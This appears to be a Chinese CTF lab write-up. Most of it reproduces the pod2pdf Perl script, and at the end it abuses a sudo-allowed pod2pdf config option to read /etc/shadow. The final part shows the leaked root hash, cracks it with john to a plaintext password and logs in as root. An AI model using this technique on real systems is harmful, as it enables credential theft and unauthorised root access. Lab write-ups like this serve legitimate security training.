64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/usr/bin/perl

# pod2pdf.pl - converts Pod to PDF format
#
# Copyright (C) 2007 Jon Allen <[email protected]>
#
# This software is licensed under the terms of the Artistic
# License version 2.0.
#
# For full license details, please read the file 'artistic-2_0.txt'
# included with this distribution, or see
# http://www.perlfoundation.org/legal/licenses/artistic-2_0.html


#--Load required modules and activate Perl's safety features---------------

use strict;
use warnings;
use App::pod2pdf;
use File::Basename qw/basename/;
use File::Spec::Functions;
use FindBin qw/$Bin/;
use Getopt::ArgvFile qw/argvFile/;
use Getopt::Long;
use POSIX qw(locale_h);


#--Load config files-------------------------------------------------------

# Define config filename as <application_name>.conf
(my $configfile = basename($0)) =~ s/^(.*?)(?:\..*)?$/$1.conf/;

# Include config file from the same directory as the pod2pdf script
if (-e "$Bin/$configfile") {
unshift @ARGV,'@'."$Bin/$configfile";
}

# If we have been packaged with PAR, include the config file from the
# application bundle
if ($ENV{PAR_TEMP} and -e "$ENV{PAR_TEMP}/inc/$configfile") {
unshift @ARGV,'@'."$ENV{PAR_TEMP}/inc/$configfile";
}

argvFile(); # Process @ARGV to load specified config files. (Function
# from Getopt::ArgvFile - interpolates "@filename" entries
# in @ARGV with the contents of the specified file)



#--------------------------------------------------------------------------

sub dateISO8601 ($) {
my ($timeval) = shift || time;

warn "time: $timeval";

my ($yyyy, $MM, $dd, $hh, $mm) = (localtime $timeval)[5, 4, 3, 2, 1];
$yyyy += 1900;
$MM++;

sprintf "$yyyy-%02d-%02d %02d:%02d", $MM, $dd, $hh, $mm;
}

#--Parse command-line options----------------------------------------------

my %options = (
'page-height' => '=f',
'page-width' => '=f',
'page-size' => '=s',
'page-orientation' => '=s',
'margins' => '=f',
'left-margin' => '=f',
'right-margin' => '=f',
'top-margin' => '=f',
'bottom-margin' => '=f',
'header' => '!',
'footer' => '!',
'title' => '=s',
'footer-text' => '=s',
'icon' => '=s',
'icon-scale' => '=s',
'timestamp' => '!',
'output-file' => '=s',
'outlines' => '!',
);

my %config;
GetOptions(\%config,
optionspec(%options),
version => sub{ print "This is pod2pdf, version $App::pod2pdf::VERSION\n"; exit }
) or die("[Error] Could not parse options");

my $file = $ARGV[0];
my $time = $file ? $^T - (-M $file) * 24 * 60 * 60 : time;

$config{title} = $file ? $file : 'STDIN' unless exists $config{title};
$config{title} .= ' - ' . dateISO8601 $time if exists $config{timestamp};

#--Set output location-----------------------------------------------------

if (my $outfile = $config{output_file}) {
open STDOUT,'>',$outfile or die("Cannot open output file $outfile: $!\n")
}


#--Tell the OS we are going to create binary data--------------------------

setlocale(LC_ALL,'C');
binmode *STDOUT;


#--Parse our Pod-----------------------------------------------------------

my $parser = App::pod2pdf->new(%config);
(@ARGV) ? $parser->parse_from_file($ARGV[0]) : $parser->parse_from_filehandle(\*STDIN);

$parser->output;

exit;


#--------------------------------------------------------------------------

sub optionspec {
my %option_specs = @_;
my @getopt_list;
while (my ($option_name,$spec) = each %option_specs) {
(my $variable_name = $option_name) =~ tr/-/_/;
(my $nospace_name = $option_name) =~ s/-//g;
my $getopt_name = ($variable_name ne $option_name) ? "$variable_name|$option_name|$nospace_name" : $option_name;
push @getopt_list,"$getopt_name$spec";
}
return @getopt_list;
}


#--------------------------------------------------------------------------
#--------------------------------------------------------------------------

=head1 NAME

pod2pdf - converts Pod to PDF format

=head1 DESCRIPTION

pod2pdf converts documents written in Perl's POD (Plain Old Documentation)
format to PDF files.

=head2 Usage

pod2pdf [options] input.pod >output.pdf

If no input filename is specified, pod2pdf will read from STDIN, e.g.

perldoc -u File::Find | pod2pdf [options] >File-Find.pdf

=head2 Options

pod2pdf accepts the following command-line options:

=over

=item C<--output-file>

Sets the output filename for the generated PDF file. By default pod2pdf will output
to STDOUT.

=item C<--page-size>

Sets the page size to be used in the PDF file, can be set to any of the standard
paper sizes (A4, A5, Letter, etc). Defaults to A4.

=item C<--page-orientation>

Controls if pages are produces in landscape or portrait format. Defaults to 'portrait'.

=item C<--page-width>, C<--page-height>

Sets the width and height of the generated pages in points (for using non-standard
paper sizes).

=item C<--left-margin>, C<--right-margin>, C<--top-margin>, C<--bottom-margin>

Allows each of the page margins (top, bottom, left, and right) to be individually
set in points.

=item C<--margins>

Sets all page margins to the same size (specified in points).

=item C<--header>, C<--noheader>

Controls if a header (containing the page title, and optional timestamp and icon)
will be included on each page. Defaults to on, so use C<--noheader> to disable.

=item C<--title>

Sets the page title (defaults to the input filename).

=item C<--timestamp>

Boolean option - if set, includes the 'last modified' timestamp of the input file in
the page header.

=item C<--icon>

Filename of an icon to be displayed in the top left corner of each page.

=item C<--icon-scale>

Scaling value for the header icon (defaults to 0.25).

=item C<--footer>, C<--nofooter>

Controls if a footer (containg the current page number and optional text string)
will be included on each page. By default the footer will be included, so use
C<--nofooter> to disable.

=item C<--footer-text>

Sets an optional footer text string that will be included in the bottom left corner
of each page.

=item C<--outlines>

Adds outlines (bookmarks) to pdf according to headings (=head1, =head2, ...).

=item C<--version>

Prints version number and exits.

=back

=head2 Configuration files

Sets of command-line options may be saved into configuration files.

A configuration file contains options in the same format as used by pod2pdf on the command-line,
with one option given on each line of the file, e.g.

--page-size A5
--page-orientation landscape

To use a config file, invoke pod2pdf with the option C<@/path/to/configfile.conf>.

For example, if you wanted to always include a company logo, timestamp, and copyright
notice in your PDF files, create a file F<mycompany.conf> containing the following:

--icon "/path/to/your/logo.png"
--footer-text "Copyright 2007 MyCompany Limited"
--timestamp

c

If you create a config file called F<pod2pdf.conf> and place this in the same
directory as the pod2pdf script, it will be loaded as the default configuration.

=head1 POD ENTENSIONS

As well as the standard POD commands (see L<perlpodspec>), pod2pdf supports the following
extensions to the POD format:

=over

=item C<=ff>

The C<=ff> command inserts a page bread (form feed) into the document.

=item C<< OE<lt>...E<gt> >>

The C<< OE<lt>...E<gt> >> formatting code inserts an external object (file) into the document. This
is primarily intended for embedding images, e.g.

O</path/to/figure1.jpg>

to insert diagrams, etc into documentation.

pod2pdf supports the file types JPG, GIF, TIFF, PNG, and PNM for embedded objects.

=back

=head1 DEPENDENCIES

pod2pdf requires the following modules to be installed:

=over

=item L<PDF::API2>

=item L<Pod::Escapes>

=item L<Getopt::ArgvFile>

=back

Additionally to use images, the modules L<File::Type> and L<Image::Size> must
be installed, and to specify alternative page sizes the L<Paper::Specs> module
is required.

=head1 SEE ALSO

The pod2pdf homepage: L<http://perl.jonallen.info/projects/pod2pdf>

For more information about POD, read the L<perlpod> manpage or see the POD page
on the Perl 5 Wiki (L<http://www.perlfoundation.org/perl5/index.cgi?pod>).

=head1 COPYRIGHT and LICENSE

Copyright (C) 2007 Jon Allen (JJ) <[email protected]>

This software is licensed under the terms of the Artistic
License version 2.0.

For full license details, please read the file F<artistic-2_0.txt>
included with this distribution, or see
L<http://www.perlfoundation.org/legal/licenses/artistic-2_0.html>.

看起来是一个 perl 脚本,可以用来转换 pod 到 pdf。用法是:

1
2
3
Then invoke pod2pdf as:

pod2pdf @/path/to/mycompany.conf input.pod >output.pdf

可以用来读取各种文件,那么就可以用来读取 root 的文件了。
看了下,没有私钥,默认的 flag 是 r00t.txt 。那么就读取 /etc/shadow 吧。

1
2
3
4
5
(remote) dentist@dentacare:/home/dentist$ sudo /usr/bin/pod2pdf @/etc/shadow input.pod >output.pdf
Use of uninitialized value in multiplication (*) at /usr/bin/pod2pdf line 94, <OPT> line 24.
Can't open root:$6$oVM8onySfQyyGID/$7TWQ22OZhZJGE.zsxTKtIj/uyEoUmxc.SCYaghAfbM6VUqQVcenX9DQCO2szyJp9iT5fHoGQVb4eeG7rYq9fQ.:19826:0:99999:7::: for reading: No such file or directory
at /usr/bin/pod2pdf line 115.

果然,看到了 root 的 hash 是 root:$6$oVM8onySfQyyGID/$7TWQ22OZhZJGE.zsxTKtIj/uyEoUmxc.SCYaghAfbM6VUqQVcenX9DQCO2szyJp9iT5fHoGQVb4eeG7rYq9fQ.
拿去 john 破解一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt  hash.hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:08 0.32% (ETA: 11:40:22) 0g/s 6683p/s 6683c/s 6683C/s 250895..grad2010
sabertooth (root)


ssh [email protected]
root@dentacare:~# id
uid=0(root) gid=0(root) groups=0(root)

真的通关。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量